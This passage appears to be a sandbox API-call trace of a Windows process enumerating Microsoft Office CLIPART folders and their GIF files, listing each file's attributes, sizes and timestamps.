nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0135.114] GetLastError () returned 0x0 [0135.114] GetCurrentThreadId () returned 0x9b0 [0135.114] GetLastError () returned 0x0 [0135.114] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0135.114] GetLastError () returned 0x0 [0135.114] GetCurrentThreadId () returned 0x9b0 [0135.115] GetLastError () returned 0x0 [0135.115] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0135.115] GetLastError () returned 0x0 [0135.115] GetCurrentThreadId () returned 0x9b0 [0135.115] GetLastError () returned 0x0 [0135.115] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0135.115] GetLastError () returned 0x0 [0135.115] GetCurrentThreadId () returned 0x9b0 [0135.115] GetLastError () returned 0x0 [0135.115] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0135.115] GetLastError () returned 0x12 [0135.115] GetCurrentThreadId () returned 0x9b0 [0135.115] GetLastError () returned 0x12 [0135.116] GetLastError () returned 0x12 [0135.116] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0135.116] GetCurrentThreadId () returned 0x9b0 [0135.116] GetLastError () returned 0x12 [0135.116] GetLastError () returned 0x12 [0135.116] GetLastError () returned 0x12 [0135.116] GetLastError () returned 0x12 [0135.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0135.116] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor")) returned 0x10 [0135.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0135.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0135.117] GetLastError () returned 0x12 [0135.117] GetLastError () returned 0x12 [0135.117] GetLastError () returned 0x12 [0135.117] GetLastError () returned 0x12 [0135.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0135.117] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher")) returned 0x10 [0135.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0135.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f5f0 | out: hHeap=0x2ad0000) returned 1 [0135.117] GetCurrentThreadId () returned 0x9b0 [0135.118] GetLastError () returned 0x12 [0135.118] GetLastError () returned 0x12 [0135.118] GetLastError () returned 0x12 [0135.118] GetLastError () returned 0x12 [0135.118] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0135.119] GetLastError () returned 0x12 [0135.119] GetCurrentThreadId () returned 0x9b0 [0135.120] GetLastError () returned 0x12 [0135.120] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0135.120] GetLastError () returned 0x12 [0135.120] GetCurrentThreadId () returned 0x9b0 [0135.120] GetLastError () returned 0x12 [0135.120] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0135.120] GetLastError () returned 0x12 [0135.120] GetCurrentThreadId () returned 0x9b0 [0135.120] GetLastError () returned 0x12 [0135.120] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0135.120] GetLastError () returned 0x12 [0135.120] GetCurrentThreadId () returned 0x9b0 [0135.121] GetLastError () returned 0x12 [0135.121] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0135.121] GetLastError () returned 0x12 [0135.121] GetCurrentThreadId () returned 0x9b0 [0135.121] GetLastError () returned 0x12 [0135.121] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0135.121] GetLastError () returned 0x12 [0135.121] GetCurrentThreadId () returned 0x9b0 [0135.121] GetLastError () returned 0x12 [0135.121] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0135.121] GetLastError () returned 0x12 [0135.121] GetCurrentThreadId () returned 0x9b0 [0135.121] GetLastError () returned 0x12 [0135.121] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0135.122] GetLastError () returned 0x12 [0135.122] GetCurrentThreadId () returned 0x9b0 [0135.122] GetLastError () returned 0x12 [0135.122] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0135.122] GetLastError () returned 0x12 [0135.122] GetCurrentThreadId () returned 0x9b0 [0135.122] GetLastError () returned 0x12 [0135.122] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0135.122] GetLastError () returned 0x12 [0135.122] GetCurrentThreadId () returned 0x9b0 [0135.122] GetLastError () returned 0x12 [0135.122] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0135.122] GetLastError () returned 0x12 [0135.123] GetCurrentThreadId () returned 0x9b0 [0135.123] GetLastError () returned 0x12 [0135.123] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0135.123] GetLastError () returned 0x12 [0135.123] GetCurrentThreadId () returned 0x9b0 [0135.123] GetLastError () returned 0x12 [0135.123] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0135.123] GetLastError () returned 0x12 [0135.123] GetCurrentThreadId () returned 0x9b0 [0135.123] GetLastError () returned 0x12 [0135.123] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0135.123] GetLastError () returned 0x12 [0135.123] GetCurrentThreadId () returned 0x9b0 [0135.123] GetLastError () returned 0x12 [0135.124] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0135.124] GetLastError () returned 0x12 [0135.124] GetCurrentThreadId () returned 0x9b0 [0135.124] GetLastError () returned 0x12 [0135.124] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0135.124] GetLastError () returned 0x12 [0135.124] GetCurrentThreadId () returned 0x9b0 [0135.124] GetLastError () returned 0x12 [0135.124] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0135.124] GetLastError () returned 0x12 [0135.124] GetCurrentThreadId () returned 0x9b0 [0135.124] GetLastError () returned 0x12 [0135.124] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0135.125] GetLastError () returned 0x12 [0135.125] GetCurrentThreadId () returned 0x9b0 [0135.125] GetLastError () returned 0x12 [0135.125] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0135.125] GetLastError () returned 0x12 [0135.125] GetCurrentThreadId () returned 0x9b0 [0135.125] GetLastError () returned 0x12 [0135.125] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0135.125] GetLastError () returned 0x12 [0135.125] GetCurrentThreadId () returned 0x9b0 [0135.125] GetLastError () returned 0x12 [0135.125] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0135.125] GetLastError () returned 0x12 [0135.126] GetCurrentThreadId () returned 0x9b0 [0135.126] GetLastError () returned 0x12 [0135.126] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0135.126] GetLastError () returned 0x12 [0135.126] GetCurrentThreadId () returned 0x9b0 [0135.126] GetLastError () returned 0x12 [0135.126] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0135.126] GetLastError () returned 0x12 [0135.126] GetCurrentThreadId () returned 0x9b0 [0135.126] GetLastError () returned 0x12 [0135.126] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0135.126] GetLastError () returned 0x12 [0135.126] GetCurrentThreadId () returned 0x9b0 [0135.126] GetLastError () returned 0x12 [0135.127] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0135.127] GetLastError () returned 0x12 [0135.127] GetCurrentThreadId () returned 0x9b0 [0135.127] GetLastError () returned 0x12 [0135.127] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0135.127] GetLastError () returned 0x12 [0135.127] GetCurrentThreadId () returned 0x9b0 [0135.127] GetLastError () returned 0x12 [0135.127] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0135.127] GetLastError () returned 0x12 [0135.127] GetCurrentThreadId () returned 0x9b0 [0135.127] GetLastError () returned 0x12 [0135.127] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0135.127] GetLastError () returned 0x12 [0135.128] GetCurrentThreadId () returned 0x9b0 [0135.128] GetLastError () returned 0x12 [0135.128] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0135.128] GetLastError () returned 0x12 [0135.128] GetCurrentThreadId () returned 0x9b0 [0135.128] GetLastError () returned 0x12 [0135.128] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0135.128] GetLastError () returned 0x12 [0135.128] GetCurrentThreadId () returned 0x9b0 [0135.128] GetLastError () returned 0x12 [0135.128] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0135.128] GetLastError () returned 0x12 [0135.128] GetCurrentThreadId () returned 0x9b0 [0135.129] GetLastError () returned 0x12 [0135.129] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0135.129] GetLastError () returned 0x12 [0135.129] GetCurrentThreadId () returned 0x9b0 [0135.129] GetLastError () returned 0x12 [0135.129] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: 